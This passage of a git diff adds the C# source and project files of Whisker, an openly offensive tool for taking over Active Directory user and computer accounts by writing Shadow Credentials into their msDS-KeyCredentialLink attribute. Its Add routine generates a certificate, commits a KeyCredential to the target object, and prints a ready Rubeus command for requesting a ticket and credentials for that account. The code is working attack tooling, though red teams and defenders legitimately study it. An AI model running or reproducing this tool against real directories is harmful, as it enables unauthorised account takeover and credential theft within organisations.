domain searcher: {0}", ex.Message); + } + return null; + } + } + + //Code taken from https://stackoverflow.com/questions/13806299/how-can-i-create-a-self-signed-certificate-using-c + static X509Certificate2 GenerateSelfSignedCert(string cn) + { + RSA rsa = new RSACryptoServiceProvider(2048, new CspParameters(24, "Microsoft Enhanced RSA and AES Cryptographic Provider", Guid.NewGuid().ToString())); + CertificateRequest req = new CertificateRequest(String.Format("cn={0}", cn), rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + X509Certificate2 cert = req.CreateSelfSigned(DateTimeOffset.Now, DateTimeOffset.Now.AddYears(1)); + return cert; + } + + static void SaveCert(X509Certificate2 cert, string path, string password) + { + // Create PFX (PKCS #12) with private key + File.WriteAllBytes(path, cert.Export(X509ContentType.Pfx, password)); + } + + private static void PrintHelp() + { + string usage = @" +Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their +msDS-KeyCredentialLink attribute, effectively adding Shadow Credentials to the target account. + + Usage: ./Whisker.exe [list|add|remove|clear] /target: [/deviceID:] [/domain:] + [/dc:] [/password:] [/path:] + + Modes + list List all the values of the the msDS-KeyCredentialLink attribute of a target object + add Add a new value to the msDS-KeyCredentialLink attribute of a target object + remove Remove a value from the msDS-KeyCredentialLink attribute of a target object + clear Clear all the values of the the msDS-KeyCredentialLink attribute of a target object. + Warning: Clearing the msDS-KeyCredentialLink attribute of accounts configured for + passwordless authentication will cause disruptions. + + Arguments: + /target: Required. Set the target name. Computer objects should end with a '$' sign. + + /deviceID: [remove mode] Required in remove mode. Set the DeviceID of the value to remove from the + attribute msDS-KeyCredentialLink of the target object. Must be a valid GUID. + + [/domain:] Optional. Set the target Fully Qualified Domain Name (FQDN). If not provided, will try to + resolve the FQDN of the current user. + + [/dc:] Optional. Set the target Domain Controller (DC). If not provided, will try to target the + Primary Domain Controller (PDC). + + [/password:] [add mode] Optional in add mode. Set the password for the stored self-signed certificate. + If not provided, a random password will be generated. + + [/path:] [add mode] Optional in add mode. Set the path to store the generated self-signed certificate + for authentication. If not provided, the certificate will be printed as a Base64 blob. + +==[Examples]========= + + list => Whisker.exe list /target:computername$ /domain:constoso.local /dc:dc1.contoso.local + add => Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1 + remove => Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /deviceid:2de4643a-2e0b-438f-a99d-5cb058b3254b + clear => Whisker.exe clear /target:computername$ /domain:constoso.local /dc:dc1.contoso.local + +For this attack to succeed, the environment must have a Domain Controller running at least Windows Server 2016, +and the Domain Controller must have a server authentication certificate to allow for PKINIT Kerberos authentication. + +This tool is based on code from DSInternals by Michael Grafnetter (@MGrafnetter). +"; + Console.WriteLine(usage); + } + + private static string GenerateRandomPassword() + { + var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + var stringChars = new char[16]; + var random = new Random(); + + for (int i = 0; i < stringChars.Length; i++) + { + stringChars[i] = chars[random.Next(chars.Length)]; + } + + return new string(stringChars); + } + + private static void DecodeDnWithBinary(object dnWithBinary, out byte[] binaryPart, out string dnString) + { + System.Type type = dnWithBinary.GetType(); + + binaryPart = (byte[])type.InvokeMember( + "BinaryValue", + BindingFlags.GetProperty, + null, + dnWithBinary, + null + ); + + dnString = (string)type.InvokeMember( + "DNString", + BindingFlags.GetProperty, + null, + dnWithBinary, + null + ); + } + + public static void Main(string[] args) + { + try + { + string command = null; + if (args.Length > 0) + { + command = args[0].ToLower(); + } + + if (String.IsNullOrEmpty(command) || command.Equals("help") || !(command.Equals("add") || command.Equals("remove") || command.Equals("clear") || command.Equals("list"))) + { + PrintHelp(); + return; + } + + var arguments = new Dictionary(); + for (int i = 1; i < args.Length; i++) + { + string argument = args[i]; + var idx = argument.IndexOf(':'); + if (idx > 0) + { + arguments[argument.Substring(1, idx - 1).ToLower()] = argument.Substring(idx + 1); + } + else + { + idx = argument.IndexOf('='); + if (idx > 0) + { + arguments[argument.Substring(1, idx - 1).ToLower()] = argument.Substring(idx + 1); + } + else + { + arguments[argument.Substring(1).ToLower()] = string.Empty; + } + } + } + + string target; + string domain; + string dc; + string path; + string password; + Guid deviceID = Guid.Empty; + + if (!arguments.ContainsKey("target") || String.IsNullOrEmpty(arguments["target"])) + { + Console.WriteLine("[X] /target is required and must contain the name of the target object.\r\n"); + PrintHelp(); + return; + } + else + { + target = arguments["target"]; + } + + if (command.Equals("remove")) + { + try + { + Guid.TryParse(arguments["deviceid"], out deviceID); + } + catch + { + Console.WriteLine("[X] No valid Guid was provided for /deviceid"); + return; + } + } + + + if (!arguments.ContainsKey("domain") || String.IsNullOrEmpty(arguments["domain"])) + { + try + { + domain = Domain.GetCurrentDomain().Name; //if domain is null, this will try to find the current user's domain + } + catch + { + Console.WriteLine("[!] Could not resolve the current user's domain. Please use the /domain option to specify the Fully Qualified Domain Name (FQDN)"); + return; + } + } + else + { + domain = arguments["domain"]; + } + + if (!arguments.ContainsKey("dc") || String.IsNullOrEmpty(arguments["dc"])) + { + try + { + dc = Domain.GetCurrentDomain().PdcRoleOwner.Name; //if dc is null, this will try to find the PDC in current user's domain + } + catch + { + Console.WriteLine("[!] Could not locate the DC. Please use the /dc option to specify the DC's IP/hostname"); + return; + } + } + else + { + dc = arguments["dc"]; + } + + if (!arguments.ContainsKey("path") || String.IsNullOrEmpty(arguments["path"])) + { + path = ""; + } + else + { + path = arguments["path"]; + } + + if (!arguments.ContainsKey("password") || String.IsNullOrEmpty(arguments["password"])) + { + password = ""; + } + else + { + password = arguments["password"]; + } + + switch (command) + { + case "add": + Add(target, domain, dc, path, password); + break; + case "remove": + Remove(target, domain, dc, deviceID); + break; + case "clear": + Clear(target, domain, dc); + break; + case "list": + List(target, domain, dc); + break; + default: + PrintHelp(); + break; + } + } + catch (System.Exception ex) + { + Console.WriteLine("[!] Error: {0}", ex.Message); + return; + } + } + + static void Add(string target, string fqdn, string dc, string path, string password) + { + if (String.IsNullOrEmpty(path)) + { + Console.WriteLine("[*] No path was provided. The certificate will be printed as a Base64 blob", path); + } + if (String.IsNullOrEmpty(password)) + { + password = GenerateRandomPassword(); + Console.WriteLine("[*] No pass was provided. The certificate will be stored with the password {0}", password); + } + + DirectoryEntry targetObject = LocateAccount(target, fqdn, dc); + if (targetObject == null) + { + return; + } + + X509Certificate2 cert = null; + KeyCredential keyCredential = null; + + Console.WriteLine("[*] Generating certificate"); + cert = GenerateSelfSignedCert(target); + Console.WriteLine("[*] Certificate generated"); + Console.WriteLine("[*] Generating KeyCredential"); + Guid guid = Guid.NewGuid(); + keyCredential = new KeyCredential(cert, guid, targetObject.Properties["distinguishedName"][0].ToString(), DateTime.Now); + Console.WriteLine("[*] KeyCredential generated with DeviceID {0}", guid.ToString()); + + try + { + Console.WriteLine("[*] Updating the msDS-KeyCredentialLink attribute of the target object"); + targetObject.Properties["msDS-KeyCredentialLink"].Add(keyCredential.ToDNWithBinary()); + targetObject.CommitChanges(); + Console.WriteLine("[+] Updated the msDS-KeyCredentialLink attribute of the target object"); + } + catch (Exception e) + { + Console.WriteLine("[X] Could not update attribute: {0}", e.Message); + return; + } + + string certOutput = ""; + try + { + if (String.IsNullOrEmpty(path)) + { + //Console.WriteLine("[*] The associated certificate is:\r\n"); + byte[] certBytes = cert.Export(X509ContentType.Pfx, password); + certOutput = Convert.ToBase64String(certBytes); + //Console.WriteLine(certOutput); + } + else + { + Console.WriteLine("[*] Saving the associated certificate to file..."); + SaveCert(cert, path, password); + Console.WriteLine("[*] The associated certificate was saved to {0}", path); + certOutput = path; + } + + } + catch (Exception e) + { + Console.WriteLine("[!] Could not save the certificate to file: {0}", e.Message); + } + + Console.WriteLine("[*] You can now run Rubeus with the following syntax:\r\n"); + Console.WriteLine("Rubeus.exe asktgt /user:{0} /certificate:{1} /password:\"{2}\" /domain:{3} /dc:{4} /getcredentials /show", target, certOutput, password, fqdn, dc); + } + + static void Remove(string target, string fqdn, string dc, Guid deviceID) + { + DirectoryEntry targetObject = LocateAccount(target, fqdn, dc); + if (targetObject == null) + { + return; + } + + try + { + Console.WriteLine("[*] Updating the msDS-KeyCredentialLink attribute of the target object"); + + bool found = false; + for (int i = 0; i < targetObject.Properties["msDS-KeyCredentialLink"].Count; i++) + { + byte[] binaryPart = null; + string dnString = null; + DecodeDnWithBinary(targetObject.Properties["msDS-KeyCredentialLink"][i], out binaryPart, out dnString); + KeyCredential kc = new KeyCredential(binaryPart, dnString); + if (kc.DeviceId.Equals(deviceID)) + { + targetObject.Properties["msDS-KeyCredentialLink"].RemoveAt(i); + found = true; + Console.WriteLine("[+] Found value to remove"); + } + } + if (!found) + { + Console.WriteLine("[X] No value with the provided DeviceID was found for the target object"); + return; + } + targetObject.CommitChanges(); + Console.WriteLine("[+] Updated the msDS-KeyCredentialLink attribute of the target object"); + } + catch (Exception e) + { + Console.WriteLine("[X] Could not update attribute: {0}", e.Message); + return; + } + } + + static void Clear(string target, string fqdn, string dc) + { + DirectoryEntry targetObject = LocateAccount(target, fqdn, dc); + if (targetObject == null) + { + return; + } + + try + { + Console.WriteLine("[*] Updating the msDS-KeyCredentialLink attribute of the target object"); + targetObject.Properties["msDS-KeyCredentialLink"].Clear(); + targetObject.CommitChanges(); + Console.WriteLine("[+] Updated the msDS-KeyCredentialLink attribute of the target object"); + } + catch (Exception e) + { + Console.WriteLine("[X] Could not update attribute: {0}", e.Message); + return; + } + } + + static void List(string target, string fqdn, string dc) + { + DirectoryEntry targetObject = LocateAccount(target, fqdn, dc); + if (targetObject == null) + { + return; + } + + Console.WriteLine("[*] Listing deviced for {0}:", target); + if (targetObject.Properties["msDS-KeyCredentialLink"].Count == 0) + { + Console.WriteLine("[*] No entries!"); + } + else + { + for (int i = 0; i < targetObject.Properties["msDS-KeyCredentialLink"].Count; i++) + { + byte[] binaryPart = null; + string dnString = null; + DecodeDnWithBinary(targetObject.Properties["msDS-KeyCredentialLink"][i], out binaryPart, out dnString); + KeyCredential kc = new KeyCredential(binaryPart, dnString); + Console.WriteLine(" DeviceID: {0} | Creation Time: {1}", kc.DeviceId, kc.CreationTime); + } + } + } + + } +} diff --git a/repos/Whisker/Whisker/Properties/AssemblyInfo.cs b/repos/Whisker/Whisker/Properties/AssemblyInfo.cs new file mode 100644 index 000000000..ab1d7c39a --- /dev/null +++ b/repos/Whisker/Whisker/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Whisker")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("42750ac0-1bff-4f25-8c9d-9af144403bad")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/repos/Whisker/Whisker/Whisker.csproj b/repos/Whisker/Whisker/Whisker.csproj new file mode 100644 index 000000000..e8d9a9354 --- /dev/null +++ b/repos/Whisker/Whisker/Whisker.csproj @@ -0,0 +1,93 @@ + + + + + Debug + AnyCPU + {42750AC0-1BFF-4F25-8C9D-9AF144403BAD} + Exe + Whisker + Whisker + v4.7.2 + 512 + true + true + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + False + Microsoft .NET Framework 4.8 %28x86 and x64%29 + true + + + False + .NET Framework 3.5 SP1 + false + + + + + + + \ No newline at end of file diff --git a/repos/Whisker/assets/usage.png b/repos/Whisker/assets/usage.png new file mode 100644 index 000000000..0c9ad16d9 Binary files /dev/null and b/repos/Whisker/assets/usage.png differ